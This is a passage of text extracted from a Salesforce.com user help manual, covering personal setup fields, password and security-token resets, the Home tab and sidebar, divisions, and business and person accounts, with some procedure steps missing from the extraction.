to deploy mobile in your organization, disable the checkbox
for all your users.
If the user has already activated his or her mobile account from
a device, deselecting the Mobile User checkbox revokes the
user's mobile license. The next time the user's device
synchronizes with Salesforce.com, all the Salesforce.com data
is deleted from the device, and the device is no longer
associated with the user.
For more information, see Salesforce Mobile Overview on
page 730.
Note: The Mobile User checkbox doesn't apply to
Mobile Lite users because they can access
Salesforce.com from their device without a mobile
license.
Modified By User who last changed the user fields, including modification
date and time. (Read only)
Name Combined first and last name of user, as displayed on the user
detail page.
Newsletter Opt in to receive user-targeted promotional emails from
salesforce.com. This field is not available if your organization
has disabled your choice to receive emails from salesforce.com.
Offline User Administrative checkbox that indicates whether user has access
to use Connect Offline.
Phone Phone number of user. Up to 40 characters are allowed in this
field.
31
Personal Setup Editing Your Personal Information
Field Description
Self-Registered via Customer Portal Checkbox that specifies if the user was created via
self-registration to a Customer Portal.
Available in Enterprise and Unlimited Editions only.
Receive Salesforce CRM Content Email Alerts If selected, specifies that a user with Salesforce CRM Content
subscriptions will receive email notifications if activity occurs
on his or her subscribed content, workspaces, tags, or authors.
To receive real-time email alerts, select this checkbox and do
not select the Receive Salesforce CRM Content
Daily Digest checkbox.
Salesforce CRM Content User Administrative checkbox that indicates whether a user has
access to use Salesforce CRM Content.
Send Apex Warning Emails If selected, specifies that the user will receive email notification
whenever he or she executes Apex that surpasses more than
50% of allocated governor limits. See the Force.com Apex
Code Developer's Guide for information.
Available in Developer, Enterprise, and Unlimited Editions
only.
Show View State in Development Mode Enables the View State tab in the development mode footer
forVisualforce pages.
This field is only visible to organizations that have Visualforce
enabled, and Development Mode selected.
Start of day Time of day that user generally starts working. Used to define
the times that display in the user’s calendar.
32
Personal Setup Changing Your Default Division
Field Description
State/Province State or province portion of user’s address. Up to 20 characters
are allowed in this field.
Time Zone Primary time zone in which user works.
Users in Arizona should select the setting with
“America/Phoenix,” and users in parts of Indiana that do not
follow Daylight Savings Time should select the setting with
“America/Indianapolis.”
See Also:
Editing Your Personal Information
Managing Mobile Permissions
If your organization uses divisions to segment data, your user information contains a default division. This is the division that
is applied, by default, to all new accounts, leads, and appropriate custom objects you create, unless you explicitly set a different
division during record creation. For records you create that are related to an account or other record that already has a division,
the new record is assigned to the existing record’s division; the default division is not used.
Your default division setting does not restrict you from viewing or creating records in other divisions. See Overview of Divisions
on page 409 for more information.
To change your default division:
33
Personal Setup Customizing Your Display
See Also:
Transferring Divisions
Changing Your Working Division
Click Setup ➤ My Personal Information ➤ Change My Display to change various personal display options. You can:
• Click Customize My Tabs to change which tabs display when you log in, or, if you have multiple apps, to change which
tabs display in each app. By default, you will see the tabs that are set for your profile. Add each tab you want to display,
change the display order if desired, and click Save.
Note: The first tab that displays when you select an app may change if your administrator changes the app's default
landing tab. See Editing App Properties on page 1363.
• Select an object from the drop-down list and click Customize My Pages to customize your display.
- For your Home tab, customize the dashboard snapshot that displays on the Home tab. Select the dashboard to use and
click Save. The link to customize your Home tab is available only if your administrator has customized your home page
layout to include a dashboard.
See Refreshing Dashboard Data on page 2203 for information on refreshing your dashboard snapshot.
- For all other tabs, set which related lists display on your detail pages. To add or remove related lists, select a related list
title, and click the Add or Remove arrow. To change the order of the related lists, select a related list title in the Selected
List box, and click the Up or Down arrow. Click Save when finished.
Note: Your personal related list customization may change if your administrator alters the page layout for a particular
tab. See Managing Page Layouts on page 1012.
You can also access the Customize My Display page via the Customize Page link in the Dashboard section of the Home tab
or on any record detail page.
To customize the folders that display on your Reports tab, see Reports Home on page 2089.
34
Personal Setup Viewing All Tabs
Note: Users can't remove dashboards from their home tab. Only administrators control whether dashboards appear.
See Also:
Changing Your Home Tab Dashboard
Viewing All Tabs
To view all the tabs available to you in Salesforce.com, click the plus icon (+) next to the main tabs.
Note: If you have Enterprise or Unlimited Edition, your administrator can hide tabs within your organization for
features you do not use. For details, see Defining Custom Apps on page 1362.
See Also:
Customizing Your Display
To change your password at any time, click Setup ➤ My Personal Information ➤ Change My Password. In Contact
Manager, Group, Professional, Enterprise, Unlimited, or Developer Edition, your administrator can also reset your password
for you (see Resetting Passwords on page 450).
The first time you log in you are prompted to change the temporary password that was emailed to you. We also recommend
that you change your password periodically to protect the privacy of your data. If your administrator has set the User
35
Personal Setup Changing Your Password
passwords expires in setting, you must change your password periodically. However, if you have the “Password Never
Expires” user permission, then your password will not expire.
When you change your password, if you have not previously selected and answered a security question, you are prompted to
do so. You must answer this question correctly if you ever forget your password and need it to be reset.
You may have to activate your computer to successfully log in to Salesforce.com whenever your password is changed or reset,
or when you log in from a computer you have not used to access Salesforce.com before. Activating your computer allows
Salesforce.com to verify your identity and prevent unauthorized access. To activate your computer:
1. When prompted on the login page, click the Send Activation Link button. Salesforce.com sends an activation email to
the email address specified on your Salesforce.com user record.
2. When you receive the activation email, copy and paste the activation link into your browser.
The activation link included in the email is available for you to copy and paste into your browser up to 24 hours from the
time you clicked the Send Activation Link button. After 24 hours, the activation link expires, and you must repeat the
activation process to log in.
The password policies, including these defaults, can be updated for all editions except for Personal Edition. See Setting
Password Policies on page 542 for more details.
If you have the “Uses Single Sign-On” permission, only an administrator can reset your password. Please contact your
administrator for assistance. For information about Single Sign-On, see About Single Sign-On on page 547.
See Also:
Retrieving Forgotten Passwords
Resetting Your Security Token
36
Personal Setup Changing Your Password
You may have to activate your computer to successfully log in to Salesforce.com whenever your password is changed or reset,
or when you log in from a computer you have not used to access Salesforce.com before. Activating your computer allows
Salesforce.com to verify your identity and prevent unauthorized access. To activate your computer:
1. When prompted on the login page, click the Send Activation Link button. Salesforce.com sends an activation email to
the email address specified on your Salesforce.com user record.
2. When you receive the activation email, copy and paste the activation link into your browser.
The activation link included in the email is available for you to copy and paste into your browser up to 24 hours from the
time you clicked the Send Activation Link button. After 24 hours, the activation link expires, and you must repeat the
activation process to log in.
See Also:
Resetting Your Security Token
A security token is an automatically-generated key that you must add to the end of your password in order to log in to
Salesforce.com from an untrusted network. For example, if your password is mypassword, and your security token is
XXXXXXXXXX, then you must enter mypasswordXXXXXXXXXX to log in. Security tokens are required whether you log in
via the API or a desktop client such as Connect for Outlook, Connect Offline, Connect for Office, Connect for Lotus Notes,
or the Data Loader.
You are offered a security token if you try to access Salesforce.com from an untrusted network. Once you have been issued a
security token, you have the option to reset this security token at any time.
To reset your security token, click Setup ➤ My Personal Information ➤ Reset Security Token, and click the Reset Security
Token button. The new security token is sent via email to the email address on your Salesforce.com user record.
If you have never been offered a security token, for example, because your organization restricts the IP addresses from which
you can log in, the Reset Security Token node does not appear in Setup.
37
Personal Setup Adding and Editing Quotas
Tip: It is recommended that you obtain your security token via the Salesforce.com user interface from a trusted network
prior to attempting to access Salesforce.com from a new IP address.
See Also:
Changing Your Password
You can track your sales quotas on a quarterly basis. To add or edit a quota, go to your forecast for the quarter, or select Setup
➤ My Personal Information ➤ Personal Information.
To create a new quota from the personal information page:
To edit a quota, click the quota name in the Quotas related list. Editing the quota amounts automatically logs an entry to the
Forecast History related list of the corresponding forecast (see Forecast History on page 1737).
Note: Managers should enter their quota amounts as a sum of their entire team’s quotas.
If your sales group does not break down quotas monthly, enter zeroes for the first two months and put the entire
amount in the third month.
If your organization uses multiple currencies, click Change Currency in the Quotas related list to change the currency of the
quota. All quota and forecast values are automatically converted to the new currency using the conversion rates maintained by
your administrator.
Note: This procedure does not apply to customizable forecasting. If your organization has enabled customizable
forecasting, see Setting Quotas for Customizable Forecasting on page 453. See Do I Have Customizable Forecasting?
on page 1741 to determine if your organization has enabled customizable forecasting.
See Also:
Creating Forecasts
Editing Forecasts
38
Personal Setup Editing Email Settings
Click Setup ➤ Email ➤ My Email Settings to alter email settings that apply to all outbound emails you send from within
the application.
You can change:
Note: In Personal and Developer Editions, a Salesforce.com-specific tag line is added below your personal signature
on all outbound emails.
See Also:
Sending Email
39
Personal Setup Granting Access to Your Calendar
8. Click Save.
See Also:
Sending Stay-in-Touch Requests
You can grant access to other users, personal and public groups, roles, or roles and subordinates to view your calendar.
Option Description
Hide Details Others can see whether given times are available, but cannot
see any other information about the nature of events in the
calendar.
Hide Details and Add Events Others can see whether given times are available, but cannot
see details of events. Other users can insert events in the
calendar.
Show Details Others can see detailed information about events in the
calendar.
Show Details and Add Events Others can see detailed information about events in the
calendar and can insert events in the calendar.
Full Access Others can see detailed information about events in the
calendar, insert events in the calendar, and edit existing
events in the calendar.
5. Click Save.
The available Calendar Access options vary depending on the organization-wide calendar sharing level set by your
administrator. Only choices that make your calendar access less restrictive are available. Calendar sharing settings affect the
visibility of items on a calendar, but do not give access to event detail pages.
40
Personal Setup Setting Record Type Preferences
Note: Regardless of whether your organization's sharing settings specify using hierarchies, activities associated with
a record are still visible to users above the activity’s assignee in the role hierarchy.
See Also:
Activity Accessibility
Set an option to automatically insert your default record type when creating new records. Using this setting, you can bypass
the page prompting you to select a record type. If you have several different record types available to you, you may prefer to
be prompted to select a record type every time you create a new record.
Note: The Record Type Selection option may not be available because your organization is not using record types or
multiple record types are not available for a particular tab.
Individual checkboxes are only offered when you have more than one record type available for a tab.
If your organization uses person accounts, note that checking the Account box on this page causes one default record
type selection for all types of accounts. It is not possible to set separate default record type selections for business
accounts and person accounts. If you work with both types of accounts, leave the box blank.
See Also:
Managing Record Types
Assigning Record Types to Profiles
Once opportunity update reminders are enabled for your organization, any user who has direct reports can schedule them.
To schedule an opportunity update reminder:
41
Personal Setup Scheduling Opportunity Update Reminders
2. Check Active if you want reminders to start after you save the settings.
3. Enter a name and address for the sender of the reminders.
4. Choose a recipients option.
5. Enter any other recipients in the CC field. Separate additional email addresses with a commas, semi-colons, spaces, or new
lines.
6. Enter a subject and message to be included in the email reminders.
7. Select a schedule frequency.
8. Select Include Past Due Opportunities if you want to include all opportunities that are open but have a close date
within the previous 90 days.
9. Choose a Close Date to include opportunities with dates within that range.
10. Select the fields to include in the email reminders.
Field Description
Last Login Date Most recent login date of the opportunity owner
# of Open Opportunities Total number of opportunities in the report
# Not Updated in Last 30 Days Total number of opportunities that have not been updated
in 30 days
Open Opportunity Amount Total of all opportunity amounts in report
Total Closed Amount Total closed amount for all opportunities in report.
If your organization uses multiple currencies, this amount
is converted to the user's currency. If your organization uses
advanced currency management, the conversion is done using
dated exchange rates.
Last Update Date Most recent date the opportunity owner submitted a forecast.
If your organization uses multiple currencies, this amount
is converted to the user's currency. If your organization uses
advanced currency management, the conversion is done using
dated exchange rates.
42
Personal Setup Checking for Desktop Client Updates
Field Description
This field is not available to organizations using customizable
forecasting. For more information, see Do I Have
Customizable Forecasting? on page 1741.
When there are no records in an opportunity update reminder, Salesforce.com does not send an email. If no email is sent for
three consecutive opportunity update reminders, the scheduled reminder is deactivated.
See Also:
Enabling Opportunity Update Reminders
Desktop clients such as Connect for Outlook and Connect Offline integrate Salesforce.com with your PC. Follow these steps
to see which desktop client versions are installed on your computer and download available updates:
Your administrator controls which desktop clients you are allowed to install. See Setting User Permissions for Desktop Clients
on page 470. Note that Connect Offline is the only client available with Developer Edition.
See Also:
Force.com Connect for Microsoft Outlook® Overview
Force.com Connect Offline Overview
Force.com Connect for Microsoft Office® Overview
Force.com Connect for Lotus Notes Overview
Viewing Client Update Alerts
43
Personal Setup Customizing Activity Reminders
When reminders are enabled for your organization, the default reminder settings are configured to open the reminder window
and play a sound fifteen minutes before an event's start time, or at 8:00 am the day a task is due. Click Setup ➤ My Personal
Information ➤ Reminders to customize the following reminder settings to meet your needs.
Setting Description
Trigger alert when reminder comes due If enabled, open the reminder window when a reminder is
due.
Play a reminder sound If enabled, play a reminder sound when a reminder is due.
By default, set reminder on Events to: If enabled, set a reminder on all new events. From the
drop-down list, select how long before the event you want to
be reminded of the upcoming event. You can disable the
reminder or change the reminder time when editing the event.
By default, set reminder on Tasks to: If enabled, set a reminder on all new tasks. From the
drop-down list, select what time, on the day the task is due,
you want to be reminded of the task. All tasks, including those
created by workflow, will use this default. You can disable the
reminder or change the reminder time when editing a task.
See Also:
Setting Reminders on Activities
Editing Tasks
Editing Events
Using the Activity Reminder Window
44
Home Tab Home Tab Overview
HOME TAB
From the Home tab, you can view your calendar and tasks, and select tab and sidebar options to access other information.
You can also search for information and view messages and custom links provided by your administrator.
The tabs at the top of the page let you access different types of information.
Tabs can be organized into groups called apps, which make it easy to switch between sets of tabs that relate to one another.
In addition to the standard apps, such as Sales and Call Center, your administrator can create custom apps to define the tabs
that you see. You can switch between apps by choosing from the Force.com app menu at the top of the page.
An alert banner may appear on the Home tab to let you know when updates are available for desktop clients such as Connect
for Outlook and Connect Offline. For more information, see Viewing Client Update Alerts on page 52.
See Also:
Troubleshooting Login Issues
Using Your Calendar and Tasks on the Home Page
Search Overview
Recycle Bin
About the Sidebar
Custom Links
Messages and Alerts
Recent Items
What is an App?
Your administrator can create customized Home tab pages that display customized components such as a dashboard snapshot
or your company logo. If your Home tab contains a dashboard snapshot, you can change the dashboard settings.
45
Home Tab Using Your Calendar and Tasks on the Home Page
Click Customize Page in the Dashboard section of the Home tab if yours contains a dashboard. Use this page to select a
different dashboard to display on the Home tab. Click Refresh to refresh the data in your dashboard. See Refreshing Dashboard
Data on page 2203 for more information.
See Also:
Customizing Your Display
Note: The My Tasks and Calendar sections display on the Home tab if they are included as components on your
home page layout. For more information, see Customizing Home Tab Page Layouts on page 1040.
From the Home tab, you can view, create, and edit events and tasks. If you have Connect for Outlook or Connect for Lotus
Notes installed, you can sync your Outlook or Lotus Notes tasks and events with Salesforce.com so they display in the My
Tasks and Calendar sections on the Home page.
The recurrence icon ( ) identifies tasks that are part of a recurring series.
• Choose a time frame from the drop-down list to change which tasks display.
• If your organization has enabled hover links for the My Tasks list, hover your mouse over the subject of a task to see the
details of the task in an overlay. Alternatively, click the subject of a task to open the detail page of that task.
• Click X to close a task.
• Click the Requested Meetings subtab to view meetings you have requested but not confirmed. This tab displays a maximum
of 100 requested meetings.
46
Home Tab Recycle Bin
- Click the subject of the meeting to open its detail page where you can cancel and reschedule the meeting.
- The Status column shows the number of invitees that have responded to your meeting request.
- Once you confirm a meeting, it appears on the Scheduled Meetings subtab.
If the Requested Meetings subtab doesn't display, ask your Salesforce.com administrator to add it to the Calendar section.
See Customizing Activity Settings on page 1064.
• View a small calendar of the current month. To change which month displays, click the Previous Month ( ) and Next
Month ( ) icons as appropriate.
• Navigate to different views of your calendar: Click the icons underneath the small monthly calendar as appropriate. For
more information, see Viewing Your Calendar on page 113.
See Also:
Viewing Activities
Requesting a Meeting With Contacts, Leads, and Person Accounts
Setting Up the Request a Meeting Feature
Recycle Bin
Available in: All Editions
The Recycle Bin link in the sidebar lets you view and restore recently deleted records for 30 days before they are permanently
deleted. Your recycle bin record limit is 250 times the Megabytes (MBs) in your storage. For example, if your organization
has 1 GB of storage then your limit is 250 times 1000 MB or 250,000 records. If your organization reaches its Recycle Bin
limit, Salesforce.com automatically removes the oldest records if they have been in the Recycle Bin for at least two hours.
47
Home Tab Creating Records Using the Create New Drop-Down List
An implied wildcard is appended to your search terms so searching for bob returns any bob or bobby. Searches look for
matches in the field displayed in the Name column of the Recycle Bin such as lead Name, Case Number, Contract
Number, or Product Name.
Note: Some search features, including stemming and synonyms, are not available in the Recycle Bin search.
3. Click Search.
See Also:
Removing Members from Relationship Group Members
Managing Articles
The Create New drop-down list, available in the sidebar, provides options to create new records. To create a new record using
the drop-down list:
48
Home Tab Using the Tags Sidebar Component
1. Select the type of record you want to create. The new record page immediately displays in the appropriate tab.
2. Fill in the fields.
3. Click Save.
• Click Tags to browse, search, and manage your entire tag collection.
• Select a tag in the Recent Tags drop-down list to view all records that have been marked with that tag. The tags that appear
in this list are those you have most recently used to tag records.
See Also:
About Tagging
Browsing, Searching, and Managing Tags
Enabling Tags
The sidebar column that appears on the left side of most Salesforce.com pages provides convenient access to the following
links and commands.
• Search
• The Google Talk gadget
• The Tags link and Recent Tags drop-down list
• The Divisions drop-down list
• The Create New drop-down list
• A Calendar shortcut to your last used calendar view
• The Recent Items list
• Messages and Alerts
• Custom Links
• A shortcut to the Recycle Bin
The options in your sidebar may vary if your administrator has customized your home page layout. For more information, see
Customizing Home Tab Page Layouts on page 1040.
If your administrator has enabled the collapsible sidebar, you have the choice to show or hide the sidebar as needed. Click the
edge of the sidebar or press ALT+S to open or close the sidebar as needed. Opening the sidebar using ALT+S automatically
places your cursor in the Search box.
49
Home Tab Messages and Alerts
Note: Call center users won't see incoming calls if they collapse the sidebar.
Tip: If your organization uses divisions, we recommend that you keep the sidebar pinned and visible at all times so
you always have access to the Divisions drop-down list.
See Also:
Customizing Activity Settings
The Messages and Alerts section of the Home tab sidebar displays announcements customized by your organization's
administrator. The Messages and Alerts section is not available in Personal Edition.
See Also:
Customizing Home Tab Page Layouts
About the Sidebar
Custom Links
Available in: All Editions
This section appears on the Home tab depending on your customized home page layout. See Customizing Home Tab Page
Layouts on page 1040.
The Custom Links section of the Home tab contains links to websites or Salesforce.com pages that are useful for everyone in
your organization. Your administrator sets which links display in this section.
See Also:
Customizing Home Tab Page Layouts
About the Sidebar
50
Home Tab Recent Items
Recent Items
Available in: All Editions
In the Recent Items section of the sidebar column, you see a short list of up to 10 specific accounts, campaigns, cases, contacts,
contracts, documents, ideas, questions, leads, opportunities, quotes, orders, person accounts, solutions, users, or custom objects
you’ve most recently added or viewed. To see the details of an item, click the name of the item.
Tip: If your organization has enabled hover details, hover your mouse over any item in the Recent Items list to view
key information about the record before clicking into that record's detail or edit page.
Note: Your Recent Items may show fewer than 10 items if you have recently deleted any of your recently viewed
items. Likewise, the Recent lists on the tab home pages (for example, the Recent Leads list) may show fewer than 10
or 25 items if you have recently deleted items.
See Also:
About the Sidebar
If your administrator has enabled divisions, your organization’s data will be segmented into different sections, making searches,
reports, and list views more meaningful for you. For example, if you work in the North American division, you can create
reports to show only records belonging to the European division.
You can change the division in which you are working at any time. The data you see in search results includes records in your
working division.
• To set your working division, simply select a division from the Divisions drop-down list in the sidebar.
• To search within multiple divisions at the same time, use advanced search or select --All-- from the Divisions drop-down
list.
• To search within a division in a lookup dialog, select a division from the drop-down list in the lookup dialog window. Your
results include records in the selected division.
51
Home Tab Viewing Client Update Alerts
Note: All searches within a working division also include the global division. For example, if you search within a
working division called Western Division, your results will include records found in both the Western Division
and the global division.
• To report on records in a specific division, select a division from the Divisions drop-down list on the report. Select
--Current-- to show records in your current working division.
Reports that are already scoped (such as My Cases or My team’s accounts) include records in all divisions, and you cannot
further limit them to a specific division.
• To find records in a specific division in a list view, use the Divisions drop-down list when creating or editing the list view.
Note: When you create new records, those records are not automatically assigned to your current working division.
See Overview of Divisions on page 409 for more information.
See Also:
About Divisions
Transferring Divisions
Changing Your Default Division
About the Sidebar
Under the following conditions, an alert banner automatically appears across the Home tab when new versions of clients such
as Connect for Outlook and Connect Offline are available.
• Your administrator has given you access to see the Home tab alerts. See Setting User Permissions for Desktop Clients on
page 470.
• In the past, you have successfully logged in from the client with your Salesforce.com username and password.
Click the alert banner to proceed to the Check for Updates page.
Note the following:
• You can navigate to the Check for Updates page at any time to see which client versions are installed on your computer.
52
Accounts Accounts Overview
• After installing the update, the alert banner continues to appear across the Home tab until you log in through the newly
updated client.
• Connect Offline is the only client available with Developer Edition.
See Also:
Setting User Permissions for Desktop Clients
Force.com Connect for Microsoft Outlook® Overview
Force.com Connect Offline Overview
Force.com Connect for Microsoft Office® Overview
Force.com Connect for Lotus Notes Overview
ACCOUNTS
Accounts Overview
Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions
Accounts are your organization's customers, competitors, and partners. Each account stores information such as name, address,
and phone numbers. For each account, you can store related information such as opportunities, activities, cases, partners,
contracts, and notes.
The Accounts tab displays a home page that lets you quickly create and locate all types of accounts. You can also sort and filter
your accounts using standard and custom list views. In addition, this tab lets you view and edit detailed information on each
account to which you have access.
If your organization has been enabled with person accounts, you have two different kinds of accounts: business accounts and
person accounts. Business accounts represent the other companies with which your organization does business. For business
accounts, the individuals who work at those companies are represented by contacts. Person accounts represent the individual
consumers with whom your company does business, such as a financial services client, an online shopper, or a vacation traveler.
Depending on your organization's business model, you may use business accounts, person accounts, or both.
If your organization has been enabled with PRM, you can create partner accounts. Partner accounts are business accounts that
a channel manager uses to manage partner organizations, partner users, and activities.
53
Accounts What is a Person Account?
Note: In the online help and other Salesforce.com documentation, the word “account” by itself always refers to both
business accounts and person accounts. The terms “business account” and “person account” are used when there are
differences between the two kinds of accounts.
See Also:
Accounts Home
What is a Person Account?
Partner Portal Overview
Note: Person accounts are not enabled by default in Salesforce.com. To quickly verify whether your organization uses
person accounts, see if you have an option to select Person Account as the record type when you create a new account.
To request person accounts, check with your administrator or contact salesforce.com.
A person account is an individual consumer with whom you do business, such as a financial services client, an online shopper,
or a vacation traveler. Person accounts are applicable to organizations that operate on a business-to-consumer model as opposed
to a business-to-business model.
In a business-to-business model, there is a natural differentiation between the other businesses with whom you work and the
people associated with those businesses. In Salesforce.com, that translates to accounts and contacts having different fields,
features, and tabs. In a business-to-consumer model, because you are providing products or services to people rather than
companies or organizations, the distinction between accounts and contacts does not exist. Consequently, person accounts in
Salesforce.com have a combination of fields from both accounts and contacts, and can be used as contacts in most situations
that involve contacts. For example, business accounts do not have standard fields for email address and job title, but person
accounts do. Also, person accounts can be associated with campaigns just like contacts, but business accounts cannot. For
details on the contact-specific functionality that applies to person accounts, see Person Account Behaviors on page 55.
The ability for person accounts to act like contacts is made possible by applying an account record type which has special
properties. The default name of this record type is “Person Account.” Your administrator may have changed the name of this
record type, and also may have created more account record types that have the same special properties. For more information
on record types, see Managing Record Types on page 1004 and Changing the Record Type Field on page 90.
54
Accounts Person Account Behaviors
Note: In the online help and other Salesforce.com documentation, the word “account” by itself always refers to both
business accounts and person accounts. The terms “business account” and “person account” are used when there are
differences between the two kinds of accounts.
See Also:
Person Account Behaviors
Accounts Overview
Contacts Overview
Tip sheet: Using Person Accounts
Implementation guide: Implementing Person Accounts
Disabling and Deactivating Portal Users
Note: Person accounts are not enabled by default in Salesforce.com. To request person accounts, contact salesforce.com.
Person accounts are accounts that can also be used as contacts in many situations. The following table summarizes the key
areas in which person accounts differ from business accounts or have unique considerations:
Accounts Person accounts are accounts that support contact fields and
capabilities.
Activities Person accounts can be associated with activities using either
the Name or Related To fields.
As with contacts, person accounts can be invited to group
events and requested meetings.
For users to request a meeting with a person account, the
Email field must be added to the Person Accounts page
layout.
55
Accounts Person Account Behaviors
Contact Roles As with contacts, you can add person accounts to the Contact
Roles related list on cases, contracts, and opportunities.
Contacts In most situations, you can use person accounts as if they were
contacts. You can include them in all contact list views except
the Recent Contacts list on the contacts home page.
Unlike business accounts, person accounts do not have a
Contacts related list. However, you can use the Partners related
list to track relationships between different person accounts.
56
Accounts Person Account Behaviors
Page Layouts Person accounts have unique page layouts that can have
account fields, contact fields, account custom links, account
related lists, and contact related lists. Person accounts page
layouts do not support the Reports To and Parent
Account fields. You cannot add a contact formula field that
references the account object to person accounts page layouts.
Partners You can use the Partners related list to relate person accounts
to each other. We recommend that you rename the Partners
related list to “Related Accounts,” “Relationships,” or a similar
term that reflects how your person accounts are connected.
Record Types Administrators can configure multiple record types for person
accounts. A person account can only be changed to another
person account record type.
57
Accounts Person Account Behaviors
Stay-in-Touch Requests As with contacts, you can send individual and mass
Stay-in-Touch requests to person accounts.
Storage Person accounts count against both account and contact
storage because the API considers each person account to
consist of one account as well as one contact.
Workflow Rules Creating or editing a person account triggers account workflow
rules. See Managing Workflow and Approvals on page 1399.
See Also:
What is a Person Account?
Tip sheet: Tips & Hints for Person Accounts
Administrator setup guide: Implementing Person Accounts
Disabling and Deactivating Portal Users
58
Accounts Accounts Home
Accounts Home
Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• In the Recent Accounts section, select an item from the drop-down list to display a brief list of the top accounts matching
that criteria. From the list, you can click any account name to go directly to the account detail. Toggle the Show 25 items
and Show 10 items links to change the number of items that display. The fields you see are determined by the “Accounts
Tab” search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited,
and Developer Editions only). The Recent Accounts choices are:
• If Quick Create has been enabled by your administrator, you can add a new account from the Quick Create area in the
sidebar on the accounts home page. Fill in the fields to add a new account. If your organization uses person accounts and
your default record type for the Accounts tab is a person account record type, then the Quick Create fields include First
Name and Last Name instead of Account Name.
Alternatively, click New next to the Recent Accounts section to create a new account.
• Under Reports, click any report name to jump to that report.
59
Accounts Viewing Account Lists
• Select any of the links under Tools to access utilities for managing your accounts.
• If accounts are shared with external contacts via Salesforce to Salesforce, choose one of the list views under Accounts from
Connections to view accounts that your business partners have shared with you.
Note: If your organization has Salesforce for Wealth Management, accounts are called clients.
See Also:
Accounts Overview
What is a Person Account?
Displaying and Editing Accounts
Creating Accounts
Merging Duplicate Accounts
Deleting Accounts
Creating Custom List Views
Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.
The accounts list page displays a list of accounts in your current view. From this page, you can view detailed account information
and access other related information.
60
Accounts Viewing Account Lists
• Click any column heading to sort the accounts in ascending order using that column’s information. Click a column heading
a second time to sort in descending order.
If your organization uses person accounts and your current list view includes the field Is Person Account, the column
heading for this field is the person account icon ( ). Click the person account icon in the header to sort person accounts
at either the top or bottom of the list.
• At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of accounts.
• At the bottom of the account list, select fewer or more to view a shorter or longer display list.
• Click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then,
you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note
that your administrator controls the availability of drag-and-drop scheduling.
Note: If your organization has Salesforce for Wealth Management, accounts are called clients.
See Also:
Accounts Home
What is a Person Account?
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists
61
Accounts Displaying and Editing Accounts
Displaying Accounts
Once you have located an account on the Accounts home or list pages, click the account name to display detailed
information. If you are unable to see related records such as opportunities and contacts, belonging to portal users, ask
your Salesforce.com administrator to add you to the portal share groups with access to the portal users' data.
Tip: If your organization has enabled hover details, hover over any lookup field on the detail page to view key
information about a record before clicking into that record's detail page.
Editing Accounts
To update account details, click Edit, and then change the fields you want to update. When you finish, click Save. You
can also click Save & New to save the account and create another.
Note: If your organization enabled inline editing, you can edit fields directly on the detail page.
Tagging Accounts
If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar to tag the current
record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.
62
Accounts Displaying and Editing Accounts
Sharing
In Professional, Enterprise, Unlimited, and Developer Edition organizations, click Sharing to share an account and its
related information with other users, groups, or roles.
Connect Offline
If you use Connect Offline, you can update a subset of your accounts without an Internet connection.
To determine which accounts you can update, either an administrator assigns a briefcase configuration to your profile,
or you can change your Connect Offline briefcase settings. In addition, you can click the Include Offline button on an
account detail page to include the account in your offline briefcase. You can select up to 100 accounts to include in your
offline briefcase.
63
Accounts Displaying and Editing Accounts
Printing Accounts
To open a printable display of all information for a record, click Printable View on the detail page.
To return to the last list page you viewed, click Back to list at the top of any account detail page. If your organization has
enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the
detail page. For more information, see Navigating on page 9.
Note: As the owner of an account, you can normally view all data related to that account.
However, your administrator can set an option on your role that determines whether you can view opportunities that
you do not own that are associated with your accounts.
Also, if your accounts are assigned to territories, your administrator can set options that determine whether users in
that territory can view, edit, transfer, or delete your accounts.
Note: If your organization has Salesforce for Wealth Management, accounts are called clients.
See Also:
Account Fields
Viewing Parent Accounts
Creating Accounts
Deleting Accounts
Searching for Accounts
Changing the Record Type Field
Adding Translated Names
Changing the Territories of an Account
Account History
64
Accounts Changing the Territories of an Account
1. From the account detail page, click Change next to the Territories field.
2. At the Rule-based territory assignments list, view the territories that contain the account due to active account
assignment rules. You cannot use this page to remove the account from these territories; to do so you must modify the
account assignment rules that evaluated the account. For more information, see Managing Account Assignment Rules on
page 1842.
3. If the account has existing manual assignments to one or more territories, the names of those territories will appear in the
Selected territories list.
4. Click Select and Deselect to move territories between the Available territories list and the Selected territories list.
5. Optionally, click Horizontal View or Vertical View in the drop-down list to place the Selected territories list either
alongside or below the Available territories list.
6. When the Selected territories list contains the territories to which the account should be manually assigned, click Save to
finish and return to the account detail page.
See Also:
Displaying and Editing Accounts
Territory Management Overview
Manually Assigning Accounts to Territories
65
Accounts Account History
Account History
Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions
The Account History related list of an account detail page tracks the changes to the account. Any time a user modifies any of
the standard or custom fields whose history is set to be tracked on the account, a new entry is added to the Account History
related list. For person accounts, this includes any relevant contact fields that are set to be tracked. All entries include the date,
time, nature of the change, and who made the change. Modifications to the related lists on the account are not tracked in the
account history. For information about setting up which fields are tracked, see Tracking Field History on page 837.
Creating Accounts
Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions
To create a new account, select Account from the Create New drop-down list in the sidebar, or click New next to Recent
Accounts on the accounts home page. If your organization has enabled person accounts, you must first specify whether the
record type is a business account or person account. Next, enter the information for the account. Click Save when you are
finished, or click Save & New to save the current account and add another.
To specify that a business account is a subsidiary of another business account, fill in the Parent Account field. You can
then view a hierarchy of account relationships. The Parent Account field is not available for person accounts.
Use the Account Site field to designate different locations of the same company. For example, Acme.com may have offices
in Paris and London. Create two accounts, both called Acme.com, but with Account Site values of Paris and London,
respectively.
If Quick Create has been enabled by your administrator, you can add a new account from the Quick Create area in the sidebar
on the accounts home page. Fill in the fields to add a new account. If your organization uses person accounts and your default
record type for the Accounts tab is a person account record type, then the Quick Create fields include First Name and Last
Name instead of Account Name.
66
